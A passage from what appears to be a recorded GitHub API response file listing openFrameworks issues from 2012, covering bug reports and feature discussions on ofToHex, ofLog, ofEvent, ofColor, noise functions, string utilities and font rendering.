ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4108582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543,"avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4104336,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4081188,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063456,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063366,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4032047,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023525,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023305,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4015514,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4010494,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4001148,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385,"avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3968742,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"414a5c156bbe219ad21d164052b40f6c"'), ('date', 'Tue, 29 May 2012 19:27:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911629,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911537,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 